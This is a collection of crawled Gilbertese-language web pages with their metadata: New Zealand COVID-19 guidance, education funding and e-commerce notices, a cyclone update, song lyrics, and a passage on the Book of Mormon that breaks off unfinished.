ao ni kamanoko ao ni kamanoia naba ni kateimatoa te marurung.\nNgkana iai ae namakina te aoraki man ami mronron, i an te tua ao a riai ni waekoa ni kaokoroia ma kain te mronron. Tai kaoia aomata nakon mwengami ke ni butimwaeia taan kakakibotu ke raoraomi ma ami koraki nako.\nKam kona ni mwananga i nanon ami kawa, n aron te nako ni mwakuri ke n reirei, te bobwai ke te kamarurung. A na bon teimatoa ni buti baao ni mwamwananga ibukia te botanaomata ma e na riai n teimatoa irakin taian kaetieti ibukin te mauri ao te mano.\nNangaoan te ubu ma Kamanoana\nE na riai ni kabonganaki kamanoan ke nangoan te ubu i aon ana bao ni mwamwananga te botanaomata i aon Nutiran n ana Kauring ni Karinan COVID-19 ni kabane. E rang kaungaki naba kabonganan kamanoan ke nangoan te ubu ngkana e na kanganga tauan raroam ma aomata riki n taabo ni bobwai aika bubura ke titoa.\nTe reirei n te Kauring ni Karinan 3\nA uki taabo n reirei ibukia ataei n roroia nako ti nakoia natiia taan mwakuri n taabo aika kakawaki man kainanoaki. Taabo n reirei aikai a rangi ni mano ibukia ataei.\nTe mwananga i marenan kawa\nN te Kauring ni Karinan 3 ao te mwamwananga i marenan kawa e rang taburoroko.\nE a rang tararuaki ao ni kauarerekeaki mwanangaia aomata n otinako ao n rinnako n taabo aika mena i nanon te Kauring ni Karinan 3. Aio are e na buoka katokan butinakon te virus ke te man n aoraki. Ko kona ni karekea buokan kariaiakam ni mwananga rinanon taabo ake a mena i nanon taian Kauring ni Karinan.\nAna tabo te botanaomata\nI an te tua ao ana tabo te botanaomata a riai n in. Aio n ikotaki ma taabo n tangoboki (libraries), te museum, taabo n tamnei (cinema), taabo n amwarake (food court), taabo ni kamarurung (gym), taabo n tebotebo (pool), te playground ao te mwakete.\nTiaki naba aio te tai ni karaoaki mwakuri aika boou (new activities), ke ni karekeko n te kanganga ma am mronron (bubble). Ma ko bon kona ni karaoi mwakuri ni kakakibotu n am tabo aika e na akea iai te kanganga.\nTaabo ni mwakuri ao bitineti\nN te Kauring ni Karinan 3, ao iai kainibaire ibukin kamanoaia taan mwakuri, kauarerekea te reitaki ni waaki ma taan bobwai (customers) ao buoka totokoan butinakon te COVID-19. E rang kaungaki riki te mwakuri man te mwenga.\nTe buoka n te mwane\nNgkana iai am kanganga ma te mwane, iai te buoka ae kona n reke nakoim.\nLast updated:","id":"","dump":"CC-MAIN-2021-17","url":"https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/kiribati\/living-at-level-3\/","date":"2021-04-10T19:43:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-17\/segments\/1618038057476.6\/warc\/CC-MAIN-20210410181215-20210410211215-00003.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1007,"character_repetition_ratio":0.069,"word_repetition_ratio":0.021,"special_characters_ratio":0.219,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Pacific Education Innovation Fund ao te Pacific Education Support Fund bon mwangan te mwane ni karikirake ae mwaitina $80.2m ibukin aia Reirei kain Te Betebeke man te COVID-19 Response and Recovery Fund ae e katanoataaki n Te Koranikaeti ni Mwakuri ibukin Reireia Kaain te Betebeke (Action Plan for Pacific Education) 2020-2030.\nA kaineti ma ana kataratara te Tautaeka i aon te mweraoi ao irakin te reirei, n ikotaki ma kateirakeaia taan Kaira Kanoan te Reirei aika a boou, te Urgent Response Fund, boutokan marurungin aia iango ataein te reirei, boutokan mweraoia taan anga te reirei, ao reken buokaia ibukin kairan kawaia n te reirei ao kanganga riki tabeua aika a onoti nakoia.\nNgkana ko katomaia ataein te reirei aika kain Te Betebeke ma te waaki n reirei ke iai am iango aika a boou ibukin boutokakia ataein te reirei aika kain Te Betebeke ma aia utu, ko kona n kanoa am bebwa n bubuti ibukin karekean te Pacific Education Support Fund ke te Pacific Education Innovation Fund inanon 2021.\nNgkana e aki butimwaeaki am bubuti ibukin te mwane ni buoka n 2020, a na riai n reke taeka n ibuobuoki aika a na buoka katamaroan am beebwa n bubuti ibukin te raun ae ngkai. Ngkana e tuai n reke, taiaoka reitaki ma te aobiti n am aono.\nE na katannakoaki tibwaia nimaua aono (Auckland, Waikato, Hawke's Bay-Tairāwhiti, Wellington, ao Canterbury ao Chatham Islands)\nE tauraoi te mwane ni buoka ibukia taan mwakuri ibukin mwakoro, kurubu n te mwakoro ao botaki ni mwakuri, bwa a na buokia ataein te reirei ao aia utu ni kaitarai kainnanoia aika a kaineti ma te reirei ao mweraoia aika a reke man ao\/ke ni korakora riki man te COVID-19. E kona n iri ma aikai:\nN 2021, a kona taan reirei, taabo n reirei, kurubu n te mwakoro, botaki ni mwakuri, taan kakae ao tia reirei man kura n reirei aika a rietaata man taabo nako i aon Aotearoa ni bubuti reken te mwane ni buoka ibukin karikirake ke iango aika a boou aika a na boutoka mweraoia ao kainnanoia ni kanoan te reirei ataein te reirei ao utu aika kain Te Betebeke, aika a reke man ao\/ke ni korakora riki man te COVID-19. Uoua karinanin te mwane ni buoka aika a tauraoi:\nTe iango ae e boou bon te rabakau ni kario, ao aanga aika a boou ke a kakaokoro ibukin kaitaraan kainnanoia kain am mwakoro n te reirei.","id":"","dump":"CC-MAIN-2021-21","url":"http:\/\/www.conversation.education.govt.nz\/conversations\/action-plan-for-pacific-education\/pacific-education-funds\/mwane-ni-buoka-ibukin-aia-reirei-kain-te-betebeke\/","date":"2021-05-09T00:44:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988953.13\/warc\/CC-MAIN-20210509002206-20210509032206-00047.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":402,"character_repetition_ratio":0.092,"word_repetition_ratio":0.01,"special_characters_ratio":0.213,"stopwords_ratio":0.366,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ai te kuba terana ngai\nBwa e a toka te mabubu ma I aki kantaningaia\nBon tiaki rikiau te mataki ngke I kairake\nAron au kantaninga ngai bon ti te kan noraba\nAo ai antai ae e na kona ni buoka aron tokini matau\nBon ana babaire Uean te maiu ma te tangira\nAu kaurabwarabwa nakon tamau ma tinau aikai\nTariu ao mwaneu ma au koraki ma au utu ni bane\nIriara te mauri, te raoi ao* n taai nako\n*may need to be corrected (Please comment below)","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.kirilyrics.com\/single-post\/2015\/12\/16\/ai-te-kuba-terana-ngai","date":"2021-05-07T20:19:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988802.93\/warc\/CC-MAIN-20210507181103-20210507211103-00449.warc.gz","language":"gil","language_score":1.0000065565,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000065565109253}","num_words":88,"character_repetition_ratio":0.01,"word_repetition_ratio":0.0,"special_characters_ratio":0.214,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tiaina ibukin kaongoraeam raitaeka aika a tia ni karaoaki ibukin rongorongon te COVID-19 n te taetae ni Kiribati\nKateiimatoa ongoram rongorongon te COVID-19 aika a bou man te tautaeka. Stay up to date with the Government's latest COVID-19 information.\nTina kanakoa nakoim te emeeri ni kaongoko ngkana iai rongorongo aika a tibwa manga boretiaki n te taetae ni Kiribati. Whenever any new translated information is published in Kiribati, we will send an email to alert you.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/KIRIBATI","date":"2021-05-18T07:54:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989756.81\/warc\/CC-MAIN-20210518063944-20210518093944-00007.warc.gz","language":"gil","language_score":0.9998773336,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9998773336410522}","num_words":76,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.191,"stopwords_ratio":0.25,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Tropical Cyclone Yasa ao Zaru update\nN te ingabong aio ae 17 n Ritembwa, 2020 ao e kamatoaki iai ba Te Tropical Cyclone (Yasa) e teimatoa naba n tiku n Category 5\nTe Angibuaka are teuana ae Tropical Cyclone Zazu e a kerikaki korakorana n te tai aio ao n riki ba te Low pressure system I maiaki-mainikun Niue. N te tai aio ao katautauan rotakin aban nako Kiribati man angibuaka aikai e teimatoa n tiku iaon karematoan te ang mai mainiku ao meang mainiku ni birina ae 8-17 knots ao n kona ni karematoa imarenan tai n irianaki ma marebun taari ma iai te katautau ba ena kona n karika utin naao ni boong aika imwaira.\nE teimatoa n uarereke katautauan rotakin abara man te angibuaka ae Tropical Cyclone Yasa ma e bon kakawaki naba te tatauraoi ngkai e tuai toki korakorana ao n kona naba n bitaki kawaina n te tai teuana ma teuana ao riki are bon tain ara Wet season (Au-meang) ke tain angibuaka. E kakawaki te ongongora nakon Tauan Kanoan Te bong are nanako n te rerio ao n kona naba n reken n ana website Aobitin Tauan Kanoan te bong ae www.met.gov.ki ao bon ana Facebook page naba te aobiti aio ae Kiribati Meteorological Service. E na teimatoa aobitin Tauan Kanoan Te Bong ke te MET n monitor systems aikai ke n tatarai angibuaka aikai ao n kaongoraea te botaonnamata n noran riaina.\nIbukin riki kan kamatata iaon aikai ao taiaoka n reitaki ma aobitin te Met i Betio iaon 75125444 ke tareboon nakon ae aki kaboaki 1055, email nakon This email address is being protected from spambots. You need JavaScript enabled to view it. ke bon roko nakon ara Aobiti ngkana iai n ami abamwakoro.","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.president.gov.ki\/news\/72-cyclone-yasa.html","date":"2021-05-08T08:09:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988850.21\/warc\/CC-MAIN-20210508061546-20210508091546-00075.warc.gz","language":"gil","language_score":1.0000085831,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000085830688477}","num_words":286,"character_repetition_ratio":0.071,"word_repetition_ratio":0.0,"special_characters_ratio":0.211,"stopwords_ratio":0.332,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ai kamira tangiran neieiAi kamira tangiran neiei E aki karaua nanou Te Uee ae e tei n okoro E katika nanou Chorus Tauai ao nimtai inanoan baim ne Bwa I tangiriko ma nanou ae e koaua Ko bia ururingai Inanon am tai n reirei Ngai moota ae e tangiriko Te mamauri n taai nako1 like. Post not marked as liked1","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/www.kirilyrics.com\/single-post\/2015\/12\/16\/ai-kamira-tangiran-neiei","date":"2021-05-06T13:24:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243988753.97\/warc\/CC-MAIN-20210506114045-20210506144045-00063.warc.gz","language":"gil","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999967813491821}","num_words":60,"character_repetition_ratio":0.109,"word_repetition_ratio":0.0,"special_characters_ratio":0.205,"stopwords_ratio":0.3,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kiribati e-Commerce Project\nPRESS RELEASE\nEnglish Version\n\"Strengthening stakeholder engagement in E-Commerce Project in Kiribati\"\nThe Australian Government launched its $4.5million funding assistance in 2019 on the E-Commerce Aid for Trade through its Department of Foreign Affairs and Trade (DFAT) for Pacific Island Countries. Kiribati through the Ministry of Commerce, Industry and Cooperatives (MCIC) received AUD$483,980.00 of financial support from the Government of Australia to implement the project of \"Strengthening stakeholder engagement in E–Commerce in Kiribati\".\nThe project has three components which are: promotion of digital business operations; website redesign of the Kiribati Chamber of Commerce & Industry (KCCI) and the Establishment of National Online Marketplace\/App.\nThe project's duration is for a one-year period, starting from September 2020 and ending in September 2021. The project is being implemented by the MCIC in close collaboration with important stakeholders like the KCCI and others, with guidance from DT Global, the Technical Working Group and the National Trade Advisory Committee (NTAC) as the Project Steering Committee.\nThe project's outputs will create more jobs, reduce inequality by generating income for Outer Island Communities, increasing economic opportunities for the Private Sector or the Small Medium Enterprises (SMEs) to participate in the Digital Economy and overcome market barriers and to connect businesses with consumers and vise-versa. The project is also expected to change the perception of Internet use to a more profitable venture not only for the business community but the general public at large.\nOn behalf of the Government of Kiribati, the Honorable Minister Bootii Nauan conveys his sincerest gratitude towards the Government and the People of Australia for supporting the 'stepping stone' for Kiribati in transitioning towards digital business operations.\nKiribati Version\n\"Kaungakaan araBotannaomata iaon Kiribati ni Kamanenai Rabakau aika Boou ibukin te Waaki ni Bitineti\"\nInanon te ririki ae 2019 ao e a tia te Tautaeka n Aotiteria ni katabwena ana buoka nakon te waaki ni bitineti ke ni bobwai iaon te Intanete nakoia aban nako te Betebeke. E bon mwakuriaki ana buoka Aotiteria aio n ana Botaki ni Mwakuri are tabe ibukin Aba Ianena ao Iokinibwai n te mwaiti ni mwane ae $4.5mirion te mwane n Aotiteria. Kiribati boni ngaia naba mai ibuakon aban te Betebeke are e reke irouna te buoka aio. N reitaki ma anne ao e a tia n reke te buoka ke te karikirake aio iroun te Tautaeka ni Kiribati rinanon ana Botaki ni Makuri ibukin Bitineti, Karaobwai ao Boboti ke te MCIC n te mwaiti ni mwane ae $483,980.00 te mwane n Aotiteria.\nTe karikirake aio ngaia are e a bon moan katabwena te moan tetere nakon te waaki ni bobwai iaon te Intanete i Kiribati ke e na \"Kaungaan ara Botannaomata iaon Kiribati ni Kamanenai Rabakau aika Boou ibukin te Waaki ni Bitineti\". Iai teniua mwakoron te karikirake aio n aron aikai: i) Kaungaan te bobwai man kabonganaan te intanete; ii) mwakurian ana website KCCI; ao iii) kateakin te tabo ni bobwai rinanon te intanete\/bwai ni makuri (app).\nE a tia ni waaki te karikirake aio inanon Tebetembwa 2020 n te ririki ae e nako ao e na toki n Tebetembwa 2021 n te ririki aio. E bon waakina te karikirake aio te MCIC ni uaia ni ikarekebai ma KCCI ao rabwata nako ake a irekereke ma te karikirake aio n reitaki ma te Komete Ni Mwakuri, ao ai te National Trade Advisory Committee are e riki bwa te Project Steering Committee ke te Tina ni Komete ibukin naba te karikirake aio.\nE kantaningaki bwa te karikirake aio e na kona ni karekei mwakuri nakoia ara botanaomata, boutoka rikiraken te karekemwane, kaungai karikirake aika boou nakoia bitineti ni kabane ni irekereke ma kabonganaan te bobwai iaon te intanete, ao taobaraan kanganga imarenaia bitineti ma taan bobwai. E katantaningaaki te karikirake aio bwa e na bita aron kamanenakin te intanete irouia te botanaomata n tiaki ti ibukin te rereitaki ma e na kabonganaaki naba ibukin te bobwai.\nE a bon anga ana kakaitau te Minita Bootii Nauan ibukin Kiribati ma te Tautaeka nakon ana Tautaeka Aotiteria ma ana Botannaomata ibukin ana anganano ma ana buoka nakon te karikirake aio.\nTerm of References\nTOR for International Consultant\nTOR for Local Consultant Online Marketplace\nTOR for Local Consultant KCCI Website","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/mcic.gov.ki\/e-commerce\/","date":"2021-05-10T19:07:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243991759.1\/warc\/CC-MAIN-20210510174005-20210510204005-00041.warc.gz","language":"gil","language_score":0.998937428,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"gil_Latn_score\": 0.9989374279975891}","num_words":693,"character_repetition_ratio":0.065,"word_repetition_ratio":0.009,"special_characters_ratio":0.19,"stopwords_ratio":0.237,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"COVID-19 bon iai naba ngkai\nA kantaningaki kain Nutiran bwa a na riai:\n- Teboka ao kamwaua baimi n tainako ibukin kamatean te man aoraki aei (virus). Kabongana te tobu ao te ran n te maan ae aki kee ian 20 te tekan. Kamwaua raoi baim.\n- Nangoa ubum ngkana ko bekobeko ke ko mwatie, te katoto iaona ko bekobeko ke ko mwatie nakon mwanokan baim.\n- Ngkana iai iroum kanikinaean aorakin te mwaitoro ke te kabuebue, tiku ni mwengam, reitaki nakon am taokita ke te Healthline ao ongora taian kaetieti ibukin am tutuo. Tai mwananga ke tai nakonako, tai nakon te reirei ke te mwakuri.\n- Taua raoi mwin taabo aika ko a tia n nako iai ao antai aika ko kaitibo ma ngaiia. Kabongana te NZ COVID Tracer app, te boki ibukin COVID-19 tracer, ke koroi mwia ni kabane.\nNangaoan te ubu ma Kamanoana\nE na riai ni kabonganaki kamanoan ke nangoan te ubu i aon ana bao ni mwamwananga te botanaomata i aon Nutiran n ana Kauring ni Karinan COVID-19 ni kabane. E rang kaungaki naba kabonganan kamanoan ke nangoan te ubu ngkana e na kanganga tauan raroam ma aomata riki n taabo ni bobwai aika bubura ke titoa.\nTe Bobotaki\nAkea ngkai te katautau iaon te mwaiti n te bobotaki. Aio n ikotaki ma taian taunimate, taian mare, botaki n te aro ao aia botaki kain te community, taian takakaro ma kakakibotu.\nTauan raroam ke marangam\nN te Kauring Karinan 1, COVID-19 e na riai ni kawakinaki. Bon te oi n iango tauan raroam ke marangam mairouia aomata aika ko aki kinaiia ngkana ko nakonako ke ko mwamwananga. Te aro aio e na bon rang buoka kauarerekean butinakon te COVID-19 ngkana e manga kaoti ibuakoia te botanaomata ke n te community.\nTaabo ni mwakuri ma bitineti\nA kona n uki ke ni wakinako taabo ni mwakuri ma bitineti n aron te taneiai. Ma a riai n teretere ke ni kona n noraki rongorongon te NZ COVID Tracer app QR code ao e na iai naba tabeua riki aanga ae na kona n tauaki iai mwia aomata n aia tabo ni mwakuri.\nTe mwamwananga ma baao ni mwamwananga\nTe bao ni mwamwananga ibukia te botanaomata e na riai n iai te QR codes ibukin tauan mwia aomata.\nNgkana ko aoraki reitaki ma am taokita ke karekei kaetieti man te Healthline ibukin karaoan am tutuo imwain mwanangam. Tiku ni mwengam ao karaoa te tutuo ngkana ko tuangaki.\nTe reirei\nTaabo n reirei, aia reirei ataei aika uarereke ao kuura aika rietata a kona ni bane n uki n aron te taneiai. A mano ataei ngkana a nakon aia reirei.\nKarekean rongorongo aika eti man koaua\nN tabetai ao rongorongo a bon karaoaki bwa a na mwamwanaia aomata ke ni kekeweia aomata. Aio e rang kaitara ara mwakuri ni kabane ibukin buakanakin te man aoraki aio (virus).\nTararuan ke kawakinan te matabaiawa\nTe COVID-19 e bon teimatoa n aki tauaki raoi arona i tinaniku. E bon teimatoa tararuakin ara matabaiawa ibukin kauarerekean rinnakon COVID-19 ma i tinaniku.\nAomata ake a rinnako i nanon Nutiran a na riai ni kaokoroaki n taabo ake a tia ni katauaki, ti ngkana iai te kariaiakaki bwa a na aki. Ngkana a kariaiakaki bwa a na aki kaokoroaki a bon riai naba ni kaokoroia ibon irouia.\nA teimatoa n tutuoaki ibukin COVID-19 taani mwakuri n te tabo are a kaokoroaki iai aomata ke ni kamarurungaki, ao mwakuri ake a kakai reke iai te aoraki n aron te matabaiawa.\nLast updated:","id":"","dump":"CC-MAIN-2021-21","url":"https:\/\/covid19.govt.nz\/updates-and-resources\/translations\/kiribati\/living-at-level-1\/","date":"2021-05-18T07:49:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-21\/segments\/1620243989756.81\/warc\/CC-MAIN-20210518063944-20210518093944-00581.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":580,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.209,"stopwords_ratio":0.338,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kam na bane ni mauriKaaraki nakon ana website te Foundation North – kam rabwa n reitakimi ma ngaira n te tai aei.\nFoundation North bon teuana te rabwata ni mwakuri ibukia te botanaomata (community trust) iaon Auckland ao Northland.\nAra taratara ibukin taai aika a na roko bwa e na rikirake te maiuraoi.\nTi karekei ao n anganako mwane ni buoka nakoia kurubu ma taian community ao rabwata riki tabeua ake a buoka te mwakuri, ao kairan te waaki n ibuobuoki nakoia aomata ma communities iaon Auckland ma Northland bwa a na teimatoa n rikirake – ngkai ao n taai aika a na roko.\nTi tangiria bwa ara mwane ni buoka e na iai mwina ae korakora iaon aua itera aika kakawaki: rikiraken babaire aika nikoraoi ibukia te botanaomata, kabonganakia aomata n akea te kakaokoroaki,manga kabouan ao kamaeuan te otabwanin ao ai te boutoka nakoia aomata ma taian community.\nA bane n uki ara mwane ni buoka ibukia aomata ma tenaan community n\ntainako ni katoa ririki. E kona naba n reke anga ni buoka tabeua – aio e\nnakon ami karikirake ke mwakuri ma tein ami rabwata ae kam waaki ma\niai.\nAngiin tein ara mwane ni buoka a bwaka ian te Quick Response Grants ke te mwane ni buoka ae baiti kaekaia (ibukin bubuti ae na aki raka iaon $25,000), ao Community Grants ke Buoka nakon taian Community (ibukin bubuti ae raka iaon $25,000).\nNgkana ai tibwa aio ami moan tai ni bubuti te buoka, e kakawaki bwa kam karina aran ami tabo ni mwakuri ke ami rabwata n ara Funding Hub – babaire iaon te bubuti e reke online.\nTi rang tauraoi ni kaira ami iango ao n anga ara ibuobuoki iaon te tareboon, te email ke ni bon nakoimi.\nNgkana kam kainanoa te tia raitaeka ibukin karaoan te bubuti aika taetae n Imatang i aon ara website, taiaoka n reitaki nakoira n oin am taetae ao ti rang kukurei man tauraoi ni boutokai ngkami ke ni buoki ngkami.\nemail@example.com\nke kamkona n tarebonira iaon\nte tareboon ae akea boona\nTi rang ingainga ni kan reitaki ma ngkami.\nKam bati n rabwa\/Tia bo","id":"","dump":"CC-MAIN-2021-25","url":"https:\/\/www.foundationnorth.org.nz\/welcome\/kiribati","date":"2021-06-14T11:03:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-25\/segments\/1623487612154.24\/warc\/CC-MAIN-20210614105241-20210614135241-00396.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":12,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":350,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.207,"stopwords_ratio":0.331,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ti a mwaninga are ti a kara\n1. A bunginako au ririki ni maiu Ngkai bon te ikawai ngai Ao arou nako kanga ai aron te ataei Te kan roronga e aki kona n toki Ma I kaaki tibwangau nako Ma I a tabe n irira nako Nanou ae mwamwaninga nako E kabwara nano te maiu aio E aki kona n toki te nano mmm Te mwamwairi ni kukurei Ti a mwaninga ngaia ti a kara\n2. N na tei moa n tirotiroai Ma n taraia tabon rorou Aika a bon tiku ma n rau i nanon te mwenga A tekateka ni kabwari unimwane Ma n atai aroaro aika a tau E a tau te kakamatauninga E riai ataan te katei","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.kirilyrics.com\/single-post\/2016\/07\/04\/ti-a-mwaninga-are-ti-a-kara","date":"2021-08-05T13:59:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046155925.8\/warc\/CC-MAIN-20210805130514-20210805160514-00388.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":119,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.462,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E na kaukaki te kiba ti inanon 7 te bong i aan arana ae te 'green return flight' man kawan nako Aotiteria (n aki warekaki NSW) ibukiia taan okirikaki nakon mwengaia. Nake a toka ni kiiba aikanne a aki kainnanoaki bwa a na te tiku n tabo ni kuarantiin n rokoia, ma ti ngkana ko mwananga mai Victoria.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati","date":"2021-07-28T20:36:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153791.41\/warc\/CC-MAIN-20210728185528-20210728215528-00410.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":57,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.217,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Anga Meetera 2021\nA butimaeaki ngkai booma ni bubuti ibukin te anga meetera ibukin rinanoaia nte komete are tabeakina te katoka meetera nte ririki aei 2021. E a uki butimaean ami booma man te Kanimabong, 11 n Tuun 2021 ao n toki nte Kanimabong 18 n Tuun 2021 imwain tokin te aoa ni makuri.\nKabwarabwaran booma ni bubuti ao bwai riki aika kainanoaki:\n- Kanoan te booma ibukin rongorongon te tia rineaki e na bon ti kona n kanoaki man ana tabo n makuri, ana kaawa, ana aro ke ana abamakoro.\n- Ngkana iai riki rongorongon te tia rineaki ao kam kona n kairia ma te booma aio\n- Ni kabane booma ana bon riai n kakoauaki man ana tabo are e rineaki mai iai. Te titamba (Official Stamp), ke aia tiaina (signature) taan taua te nakoa n te Aobiti (Officer's Bearers) ni kakoaua bwa te booma ni bubuti aio e roko man rabata ke botaki ni makuri ke Aro.\n- Rinanoakin booma ni bubuti ana riai ba ana rinanon te kainibaire are e nim ma te booma aio.\n- E na riai n iai beeba n kakoaua ae ena kaotia bwa te booma aio e a tia n rinanon te komete ae e kateaki ibukin rinanoan te kaniuanga ke te metera.","id":"","dump":"CC-MAIN-2021-31","url":"https:\/\/www.president.gov.ki\/news\/83-te-anga-meetera-2021.html","date":"2021-07-28T16:33:38Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-31\/segments\/1627046153739.28\/warc\/CC-MAIN-20210728154442-20210728184442-00192.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":202,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.376,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"|Ana Boki Moomon|\nE kairaki Iotebwa Timiti iroun te tia uarongorongo mai i karawa ae arana Moronaai nakon te katabuki are a mena iai taian bwaatua koora ike a karabaaki iai inanon bubua n ririki aika mwaiti. Iai inanon bwaatua koora aikai aia koroboki burabeti ake a kaota taekan aron ana mwakuri te Atua ma kaain Amerika ngkoa. E rairi kanoan bwaatua koora aikai Iotebwa Timiti man mwaakan te Atua. A ataa ana mwakuri te Tia Kamaiu burabeti n Ana Boki Moomon ao a reireiakina Ana euangkerio. E kakoaua Ana Boki Moomon bwa te Atua E kairiia ni mwaakan te Tamnei aomata ao E weteiia nakon Ana mwakuri ae tabu inanon te roro aei, ai uana naba ma te roro ngkoa (tara D&C 20:11). N te aro bwa e na ataaki bwa e koaua Ana Boki Moomon, e riai te aomata ni warekia, n iangoia raoi, ao n tataro ibukina. Te tia kakaea te koaua ae kokoaua e na namakina Ana Boki Moomon n te tai ae waetata bwa bon ana taeka te Atua.\nE riai ibukin te aomata are e kan rairaki ni koaua bwa e na warekia, e na iangoa raoi, ao e na tataro ibukin Ana Boki Moomon. Naake a moana aia wareware n Ana Boki Moomon n te moan tai a riai n rinanon raoi mwaneka aika kakaawaki nakon ataakina irouia bwa Iotebwa Timiti bon ana burabeti te Atua ao bwa te Ekaretia ae koaua e a tia ni kaokaki nakon te aonaaba.\nAna Boki Moomon ao te Baibara a Boutokaia i bon Irouia[edit | edit source]\nAia kakoaua aomata ibukin te Baibara a rangi ni kakaokoro. A kakoauaa tabeman bwa e bon rangi ni kororaoi te Baibara, n akea te kaairua, ao anne ae ti kainnanoia bwa ti na kamaiuaki. Tabeman a taku bwa te Baibara bon te boki ibukin te wareware ae e bon riai kamatebwaiana, ma a kakewea n ae bon te bwai ni kakoaua ibukin aron maiun Kristo n Atua ao kakai ke kaotioti aika nako mairoun te Atua. Tabeman a rineia bwa a na aki tabe ma te Baibara ke n reke aia tai ni warekia. Aomata Aika Itiaki a \"kakoaua bwa te Baibara bon Ana taeka te Atua ngkana e eti rairana\" (Taekan te Onimaki 1:8). Ana Boki Moomon ao te Baibara aki kauntaba i bon irouia, Ana Boki Moomon e boutokaira, e kaungaira bwa ti na warekia, ao e kakoauaa ana rongorongo. Ko riai ni kabongana Ana Boki Moomon ao te Baibara bwa a boutokaia i bon irouia. Ana Boki Moomon e taekin berita aika tabu ake e karaoi te Atua n taai ake ngkoa ma natina; te Baibara e taekin taekaia burabeti aika kakannato ake a karekei naba berita aika tabu ao onimaki aikai. Ana Boki Moomon e kakoauaa Kristo ao Ana Mwakuri ni Kamaiu, te Baibara e karekei rongorongon bungiakina, Ana mwakuri, matena, Ana Mwakuri ni Kamaiu, ao te Mangauti. N aron, te Baibara ao Ana Boki 